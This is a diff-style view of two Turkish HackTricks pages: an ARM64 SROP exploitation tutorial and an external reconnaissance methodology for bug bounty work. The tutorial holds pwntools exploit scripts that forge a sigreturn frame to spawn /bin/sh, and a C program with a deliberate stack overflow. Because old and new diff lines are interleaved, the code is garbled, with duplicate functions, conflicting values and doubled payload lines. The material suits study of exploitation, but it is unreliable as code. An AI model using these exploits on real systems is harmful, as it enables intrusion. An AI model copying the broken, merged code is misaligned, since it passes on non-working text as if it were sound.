* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -2,37 +2,79 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
## Kod
## Pwntools örneği
Bu örnek, zafiyetli ikili dosyayı oluşturur ve onu sömürür. İkili dosya **yığın üzerine okuma yapar** ve ardından **`sigreturn`** çağrısını yapar:
```python
from pwn import *
binsh = "/bin/sh"
context.clear()
context.arch = "arm64"
asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
asm += shellcraft.sigreturn() # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft.syscall()
asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
binary = ELF.from_assembly(asm)
frame = SigreturnFrame()
frame.x8 = constants.SYS_execve
frame.x0 = binary.symbols['binsh']
frame.x1 = 0x00
frame.x2 = 0x00
frame.pc = binary.symbols['syscall']
p = process(binary.path)
p.send(bytes(frame))
p.interactive()
```
## bof örneği
### Kod
```c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x0, #139; svc #0;");
__asm__("mov x8, 0x8b; svc 0;");
return;
}
char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
}
int main(int argc, char **argv) {
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
}
@ -44,11 +86,7 @@ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
```
## Saldırı
Saldırı, **`sigreturn`** çağrısına dönüş yapmak için bof'u istismar eder ve `/bin/sh` işaretçisi ile **`execve`** çağırmak için yığına hazırlık yapar.
{% hint style="danger" %}
Bilinmeyen bir nedenle **`sigreturn`** çağrısının herhangi bir işlem yapmadığını biliyorum, bu yüzden çalışmıyor.
{% endhint %}
Saldırı, **`sigreturn`** çağrısına dönüp yığını `/bin/sh` işaretçisi ile **`execve`** çağırmak için hazırlar.
```python
from pwn import *
@ -58,41 +96,109 @@ libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))
print("/bin/sh in: " + hex(binsh))
stack_offset = 72
sigreturn = 0x00000000004006a0 # mov x0, #0x8b ; svc #0x0
svc_call = 0x00000000004006a4 # svc #0x0
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
frame.x0 = binsh # pointer to /bin/sh
frame.x1 = 0x4343434343434343 # NULL
frame.x2 = 0x0 # NULL
frame.x0 = binsh
frame.x1 = 0x00 # NULL
frame.x2 = 0x00 # NULL
frame.pc = svc_call
payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += b"B" * len(bytes(frame))
with open("/tmp/i", "wb") as f:
f.write(payload)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
## sigreturn olmadan bof örneği
### Kod
```c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
}
```
## Saldırı
**`vdso`** bölümünde **`sigreturn`** çağrısını **`0x7b0`** ofsetinde bulmak mümkündür:
<figure><img src="../../../.gitbook/assets/image.png" alt="" width="563"><figcaption></figcaption></figure>
Bu nedenle, sızdırıldığında, eğer ikili dosya bunu yüklemediyse, **bu adresi bir `sigreturn`'e erişmek için kullanmak mümkündür:**
```python
from pwn import *
p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00 # NULL
frame.x2 = 0x00 # NULL
frame.pc = svc_call
payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
Daha fazla vdso hakkında bilgi için kontrol edin:
{% content-ref url="../ret2vdso.md" %}
[ret2vdso.md](../ret2vdso.md)
{% endcontent-ref %}
Ve `/bin/sh` adresini atlatmak için birkaç env değişkeni oluşturabilir ve ona işaret edebilirsiniz, daha fazla bilgi için:
{% content-ref url="../../common-binary-protections-and-bypasses/aslr/" %}
[aslr](../../common-binary-protections-and-bypasses/aslr/)
{% endcontent-ref %}
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -9,12 +9,12 @@ HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşma gereklidir_).
@ -22,29 +22,29 @@ Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek
## Varlıkların Keşfi
> Dolayısıyla, bir şirkete ait olan her şeyin kapsamda olduğu söylendi ve bu şirketin aslında neye sahip olduğunu anlamak istiyorsunuz.
> Dolayısıyla, bir şirkete ait her şeyin kapsamda olduğu söylendi ve bu şirketin aslında neye sahip olduğunu anlamak istiyorsunuz.
Bu aşamanın amacı, öncelikle **ana şirkete ait olan şirketleri** elde etmek ve ardından bu şirketlerin **varlıklarını** elde etmektir. Bunun için şunları yapacağız:
Bu aşamanın amacı, **ana şirkete ait olan tüm şirketleri** elde etmek ve ardından bu şirketlerin tüm **varlıklarını** elde etmektir. Bunun için şunları yapacağız:
1. Ana şirketin satın almalarını bulmak, bu bize kapsamda olan şirketleri verecektir.
2. Her şirketin **ASN'sini** bulmak (varsa), bu bize her şirketin sahip olduğu IP aralıklarını verecektir.
3. Diğer girişler (kuruluş adları, alan adları...) aramak için ters whois aramalarını kullanmak (bu rekürsif olarak yapılabilir).
4. Shodan `org` ve `ssl` filtreleri gibi diğer teknikleri kullanarak diğer varlıkları aramak (`ssl` hilesi rekürsif olarak yapılabilir).
2. Her şirketin ASN'sini (varsa) bulmak, bu bize her şirketin sahip olduğu IP aralıklarını verecektir.
3. İlkini (bu rekürsif olarak yapılabilir) ilgilendiren diğer girişleri (kuruluş adları, alan adları...) aramak için ters whois aramalarını kullanmak.
4. `org` ve `ssl` filtrelerini kullanarak diğer varlıkları aramak için shodan gibi diğer teknikleri kullanmak (`ssl` hilesi rekürsif olarak yapılabilir).
### **Satın Almalar**
Öncelikle, **ana şirkete ait olan diğer şirketleri** bilmemiz gerekiyor.\
Bir seçenek, [https://www.crunchbase.com/](https://www.crunchbase.com)'e gidip **ana şirketi aramak** ve "**satın almalar**"ı **tıklamak**. Orada ana şirket tarafından satın alınan diğer şirketleri göreceksiniz.\
Bir seçenek, [https://www.crunchbase.com/](https://www.crunchbase.com) adresini ziyaret etmek, **ana şirketi aramak** ve "**satın almalar**"ı **tıklamak**. Burada ana şirket tarafından satın alınan diğer şirketleri göreceksiniz.\
Diğer bir seçenek, ana şirketin **Wikipedia** sayfasını ziyaret etmek ve **satın almaları** aramaktır.
> Tamam, bu noktada kapsamda olan tüm şirketleri bilmelisiniz. Şimdi, varlıklarını nasıl bulacağımızı anlayalım.
### **ASN'ler**
Bir **otonom sistem numarası (ASN)**, bir **otonom sistem** (AS) tarafından **Internet Assigned Numbers Authority (IANA)** tarafından **atanan benzersiz bir numaradır**.\
Bir otomatik sistem numarası (**ASN**), bir **otonom sistem** (AS) tarafından **Internet Assigned Numbers Authority (IANA)** tarafından **atanan benzersiz bir numaradır**.\
Bir **AS**, dış ağlara erişim için belirgin bir şekilde tanımlanmış bir politikaya sahip **IP adresi bloklarından** oluşur ve tek bir kuruluş tarafından yönetilir ancak birkaç operatörden oluşabilir.
Şirketin **herhangi bir ASN atayıp atamadığını** bulmak, **IP aralıklarını** bulmak için ilginç olacaktır. Kapsam içindeki tüm **ana bilgisayarlara karşı bir zafiyet testi** gerçekleştirmek ve bu IP'lerdeki **alan adlarını aramak** ilginç olacaktır.\
Şirketin **herhangi bir ASN atayıp atamadığını** bulmak, **IP aralıklarını** bulmak için ilginç olacaktır. Kapsam içindeki tüm **ana bilgisayarlar** üzerinde bir **zayıflık testi** gerçekleştirmek ve bu IP'lerdeki **alan adlarını** aramak ilginç olacaktır.\
[**https://bgp.he.net/**](https://bgp.he.net) adresinde şirket **adı**, **IP** veya **alan adı** ile arama yapabilirsiniz.\
**Şirketin bölgesine bağlı olarak bu bağlantılar daha fazla veri toplamak için yararlı olabilir:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Kuzey Amerika),** [**APNIC**](https://www.apnic.net) **(Asya),** [**LACNIC**](https://www.lacnic.net) **(Latin Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Avrupa). Her durumda, tüm** yararlı bilgiler **(IP aralıkları ve Whois)** muhtemelen ilk bağlantıda zaten görünüyor.
```bash
@ -75,8 +75,8 @@ Bir alanın IP'sini ve ASN'sini [http://ipv4info.com/](http://ipv4info.com) kull
### **Zaafiyet arayışı**
Bu noktada **kapsamdaki tüm varlıkları bildiğimizden**, izin verildiyse tüm ana bilgisayarlara **zafiyet taraması** (Nessus, OpenVAS) başlatabilirsiniz.\
Ayrıca, bazı [**port taramaları**](../pentesting-network/#discovering-hosts-from-the-outside) başlatabilir veya shodan gibi hizmetleri kullanarak **açık portları bulabilir ve bulduklarınıza bağlı olarak** bu kitapta çalıştırılan çeşitli hizmetleri nasıl pentest edeceğinizi incelemelisiniz.\
**Ayrıca, bazı** varsayılan kullanıcı adı **ve** şifre **listeleri hazırlayabilir ve [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) ile hizmetleri** brute force **edebilirsiniz.**
Ayrıca, bazı [**port taramaları**](../pentesting-network/#discovering-hosts-from-the-outside) başlatabilir veya shodan gibi hizmetleri kullanarak **açık portları bulabilir ve bulduklarınıza bağlı olarak** bu kitapta çalıştırılan çeşitli hizmetleri nasıl pentest edeceğinize bakmalısınız.\
**Ayrıca, varsayılan kullanıcı adı** ve **şifre listeleri hazırlayabilir ve [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) ile hizmetleri** brute force **edebilirsiniz.**
## Alanlar
@ -96,11 +96,11 @@ dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
```
Bu işlem için yöneticinin PTR'yi manuel olarak etkinleştirmesi gerekmektedir.\
Bu bilgi için çevrimiçi bir araç da kullanabilirsiniz: [http://ptrarchive.com/](http://ptrarchive.com)
Bu bilgiyi almak için çevrimiçi bir araç da kullanabilirsiniz: [http://ptrarchive.com/](http://ptrarchive.com)
### **Ters Whois (döngü)**
**Whois** içinde **organizasyon adı**, **adres**, **e-postalar**, telefon numaraları gibi birçok ilginç **bilgi** bulabilirsiniz. Ancak daha da ilginç olanı, **şirketle ilgili daha fazla varlık** bulabilirsiniz eğer bu alanlardan herhangi biriyle **ters whois aramaları gerçekleştirirseniz** (örneğin aynı e-posta adresinin göründüğü diğer whois kayıtları).\
**Whois** içinde **organizasyon adı**, **adres**, **e-postalar**, telefon numaraları gibi birçok ilginç **bilgi** bulabilirsiniz. Ancak daha da ilginç olanı, **şirketle ilgili daha fazla varlıkı bulabilirsiniz** eğer bu alanlardan herhangi biriyle **ters whois aramaları yaparsanız** (örneğin aynı e-posta adresinin göründüğü diğer whois kayıtları).\
Çevrimiçi araçlar kullanabilirsiniz:
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Ücretsiz**
@ -114,11 +114,11 @@ Bu bilgi için çevrimiçi bir araç da kullanabilirsiniz: [http://ptrarchive.co
Bu görevi [**DomLink** ](https://github.com/vysecurity/DomLink)(whoxy API anahtarı gerektirir) kullanarak otomatikleştirebilirsiniz.\
Ayrıca [amass](https://github.com/OWASP/Amass) ile otomatik ters whois keşfi yapabilirsiniz: `amass intel -d tesla.com -whois`
**Yeni bir alan adı bulduğunuzda her seferinde bu teknikle daha fazla alan adı keşfetmek için bu tekniği kullanabileceğinizi unutmayın.**
**Yeni bir alan adı bulduğunuzda her seferinde daha fazla alan adı keşfetmek için bu tekniği kullanabileceğinizi unutmayın.**
### **İzleyiciler**
Aynı **izleyicinin aynı kimliğini** 2 farklı sayfada bulursanız, **her iki sayfanın** aynı ekip tarafından **yönetildiğini varsayabilirsiniz**.\
Aynı **izleyicinin aynı kimliğini** 2 farklı sayfada bulursanız, **her iki sayfanın da aynı ekibin tarafından yönetildiğini** varsayabilirsiniz.\
Örneğin, birkaç sayfada aynı **Google Analytics kimliğini** veya aynı **Adsense kimliğini** görürseniz.
Bu izleyiciler ve daha fazlasıyla arama yapmanıza izin veren bazı sayfalar ve araçlar bulunmaktadır:
@ -138,7 +138,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
```
![favihash - aynı favicon ikonu hash'ine sahip alan adlarını keşfedin](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
Basitçe söylemek gerekirse, favihash bize hedefimizle aynı favicon ikonu hash'ine sahip alanları keşfetme imkanı sağlayacak.
Basitçe söylemek gerekirse, favihash bize hedefimizle aynı favicon ikonu hash'ine sahip alan adlarını keşfetmemizi sağlayacak.
Ayrıca, favicon hash'ini kullanarak teknolojileri arayabilirsiniz, [**bu blog yazısında**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) açıklandığı gibi. Bu, yani, bir web teknolojisinin savunmasız bir sürümünün favicon'unun hash'ini biliyorsanız, shodan'da arayabilir ve **daha fazla savunmasız yeri bulabilirsiniz**:
```bash
@ -159,7 +159,7 @@ return fhash
```
### **Telif Hakkı / Benzersiz dize**
Aynı kuruluşun farklı web siteleri arasında paylaşılabilecek dizeleri aramak için web sayfalarının içinde **dizeleri arayın**. **Telif hakkı dizesi** iyi bir örnek olabilir. Ardından bu dizeyi **Google'da**, diğer **tarayıcılarda** hatta **shodan**'da arayın: `shodan search http.html:"Telif hakkı dizesi"`
Aynı kuruluş içinde farklı web siteleri arasında paylaşılabilen dizeleri araştırın. **Telif hakkı dizesi** iyi bir örnek olabilir. Daha sonra bu dizeyi **Google**, diğer **tarayıcılarda** hatta **shodan**'da arayın: `shodan search http.html:"Telif hakkı dizesi"`
### **CRT Zamanı**
@ -170,58 +170,58 @@ Genellikle şu gibi bir cron işi olması yaygındır:
```
### Dış Rekonstrüksiyon Metodolojisi
Sunucudaki tüm alan sertifikalarını yenilemek için **CA**'nın oluşturulma zamanını Geçerlilik süresinde belirtmemiş olsa bile, **sertifika şeffaflık günlüklerinde aynı şirkete ait alanları bulmak mümkündür**.\
Sunucudaki tüm alan adı sertifikalarını yenilemek için CA'nın oluşturulma zamanını Geçerlilik süresine ayarlamadığı durumda bile, **sertifika şeffaflık günlüklerinde aynı şirkete ait alan adlarını bulmak mümkündür**.\
Daha fazla bilgi için [**bu yazıya göz atın**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
### Posta DMARC bilgileri
[https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) gibi bir web sitesi veya [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) gibi bir araç kullanarak **aynı dmarc bilgilerini paylaşan alanları ve alt alanları bulabilirsiniz**.
[https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) gibi bir web sitesi veya [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) gibi bir araç kullanarak **aynı dmarc bilgilerini paylaşan alan adları ve alt alan adlarını bulabilirsiniz**.
### **Pasif Ele Geçirme**
Görünüşe göre insanlar alt alanları **bulut sağlayıcılarına ait IP'lerle eşleştirir ve bir noktada o IP adresini kaybeder ancak DNS kaydını kaldırmayı unuturlar**. Bu nedenle, sadece bir VM oluşturarak (Digital Ocean gibi) aslında **bazı alt alanları devralabilirsiniz**.
Görünüşe göre insanlar, alt alan adlarını bulut sağlayıcılarına ait IP'lere atarlar ve bir noktada **o IP adresini kaybederler ancak DNS kaydını kaldırmayı unuturlar**. Bu nedenle, sadece bir VM oluşturarak (Digital Ocean gibi) aslında **bazı alt alan adlarını ele geçireceksiniz**.
[**Bu yazı**](https://kmsec.uk/blog/passive-takeover/) bununla ilgili bir hikayeyi açıklar ve **DigitalOcean'da bir VM oluşturan**, yeni makinenin **IPv4**'ünü **alıp**, ve Virustotal'de ona işaret eden alt alan kayıtlarını arayan bir betik önerir.
[**Bu yazı**](https://kmsec.uk/blog/passive-takeover/) bununla ilgili bir hikayeyi açıklar ve **DigitalOcean'da bir VM oluşturan**, yeni makinenin **IPv4**'ünü **alıp**, ve Virustotal'de ona işaret eden alt alan adı kayıtlarını arayan bir betik önerir.
### **Diğer Yöntemler**
**Bu tekniği kullanarak her yeni alan bulduğunuzda daha fazla alan adı keşfedebileceğinizi unutmayın.**
**Bu teknikle her yeni alan adı bulduğunuzda daha fazla alan adı keşfedebilirsiniz.**
**Shodan**
IP alanına sahip olan kuruluşun adını zaten biliyorsunuz. Bu verilerle shodan'da şu şekilde arama yapabilirsiniz: `org:"Tesla, Inc."` TLS sertifikasında yeni beklenmeyen alanlar için bulunan ana bilgisayarlara bakın.
IP alanını sahip olan kuruluşun adını zaten biliyorsunuz. Bu verilerle shodan'da şuna benzer bir arama yapabilirsiniz: `org:"Tesla, Inc."` TLS sertifikasında yeni beklenmeyen alan adlarını kontrol edin.
Ana web sayfasının **TLS sertifikasına** erişebilir, **Kuruluş adını** alabilir ve ardından **shodan** tarafından bilinen tüm web sayfalarının **TLS sertifikaları** içinde bu adı arayabilirsiniz: `ssl:"Tesla Motors"` veya [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) gibi bir araç kullanabilirsiniz.
**Assetfinder**
[**Assetfinder**](https://github.com/tomnomnom/assetfinder), ana alanla ilişkili **alanları** ve bunların **alt alanlarını** arayan bir araçtır, oldukça etkileyici.
[**Assetfinder**](https://github.com/tomnomnom/assetfinder), ana alan adıyla ilişkili **alan adlarını** ve bunların **alt alan adlarını** arayan bir araçtır, oldukça etkileyici.
### **Zaafiyet Arayışı**
Bazı [alan ele geçirme](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover) durumlarını kontrol edin. Belki bir şirket **bir alan kullanıyor** ancak **sahipliğini kaybetti**. Eğer uygunsa kaydedin ve şirkete bildirin.
Bazı [alan adı ele geçirme](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover) durumlarını kontrol edin. Belki bir şirket **bir alan adı kullanıyor** ancak **sahipliğini kaybetti**. Eğer uygunsa kaydedin ve şirkete bildirin.
Varlıkların keşfinde bulduğunuz IP'lerden farklı bir IP'ye sahip **alan bulursanız**, temel bir güvenlik açığı taraması yapmalısınız (Nessus veya OpenVAS kullanarak) ve **nmap/masscan/shodan** ile bazı [**port taraması**](../pentesting-network/#discovering-hosts-from-the-outside) yapmalısınız. Hangi hizmetlerin çalıştığına bağlı olarak, **bu kitapta onları "saldırmak" için bazı püf noktaları bulabilirsiniz**.\
_Not edin ki bazen alan, müşteri tarafından kontrol edilmeyen bir IP içinde barındırılmış olabilir, bu nedenle kapsamda olmayabilir, dikkatli olun._
Varlıkların keşfinde bulduğunuz IP'lerden farklı bir IP'ye sahip olan herhangi bir **alan adını bulursanız**, temel bir güvenlik açığı taraması yapmalısınız (Nessus veya OpenVAS kullanarak) ve **nmap/masscan/shodan** ile bazı [**port taraması**](../pentesting-network/#discovering-hosts-from-the-outside) yapmalısınız. Hangi hizmetlerin çalıştığına bağlı olarak, onları "saldırmak" için bu kitapta bazı ipuçları bulabilirsiniz.\
_Bazen alan adı, müşteri tarafından kontrol edilmeyen bir IP içinde barındırıldığından, bu kapsamda olmayabilir, dikkatli olun._
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Hata ödülü ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan bir premium **hata ödülü platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinde bize katılın ve **100.000 $'a kadar ödüller kazanmaya başlayın**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Alt Alanlar
## Alt Alan Adlar
> Kapsam içindeki tüm şirketleri, her şirketin tüm varlıklarını ve şirketlerle ilgili tüm alanları biliyoruz.
> Kapsam içindeki tüm şirketleri, her şirketin tüm varlıklarını ve şirketlerle ilgili tüm alan adlarını biliyoruz.
Her bulunan alanın tüm olası alt alanlarını bulma zamanı geldi.
Her bulunan alan adının tüm olası alt alan adlarını bulma zamanı geldi.
{% hint style="success" %}
Alanları bulmak için bazı araçlar ve tekniklerin aynı zamanda alt alanları bulmaya da yardımcı olabileceğini unutmayın!
Alan adlarını bulmak için bazı araçlar ve tekniklerin alt alan adlarını bulmaya da yardımcı olabileceğini unutmayın!
{% endhint %}
### **DNS**
**DNS** kayıtlarından **alt alanları** almaya çalışalım. Ayrıca **Zone Transfer** için de denemeliyiz (Eğer savunmasızsa, rapor etmelisiniz).
**DNS** kayıtlarından **alt alan adlarını** almaya çalışalım. Ayrıca **Zone Transfer** için de denemeliyiz (Eğer savunmasızsa, rapor etmelisiniz).
```bash
dnsrecon -a -d tesla.com
```
@ -278,7 +278,7 @@ theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferov
```
**Alt alan adlarını bulmaya doğrudan uzmanlaşmamış olsa da**, alt alan adlarını bulmada faydalı olabilecek **diğer ilginç araçlar/API'ler** bulunmaktadır, örneğin:
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Alt alan adlarını elde etmek için [https://sonar.omnisint.io](https://sonar.omnisint.io) API'sini kullanır.
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Alt alan adlarını elde etmek için [https://sonar.omnisint.io](https://sonar.omnisint.io) API'sini kullanır
```bash
# Get list of subdomains in output from the API
## This is the API the crobat tool will use
@ -313,7 +313,7 @@ crt tesla.com
# Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
```
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **ve** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Web'i tarayarak JS dosyalarını arar ve oradan alt alan adlarını çıkarırlar.
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **ve** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Web'de JS dosyalarını tarar ve oradan alt alan adlarını çıkarır.
```bash
# Get only subdomains from SubDomainizer
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
@ -341,13 +341,13 @@ python3 DomainTrail.py -d example.com
* [**securitytrails.com**](https://securitytrails.com/) ücretsiz bir API'ye sahiptir, alt alan adlarını ve IP geçmişini aramak için
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
Bu proje, **hata ödülü programlarıyla ilgili tüm alt alan adlarını ücretsiz olarak sunmaktadır**. Bu verilere [chaospy](https://github.com/dr-0x0x/chaospy) kullanarak erişebilir veya bu projenin kullandığı kapsamı da erişebilirsiniz [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
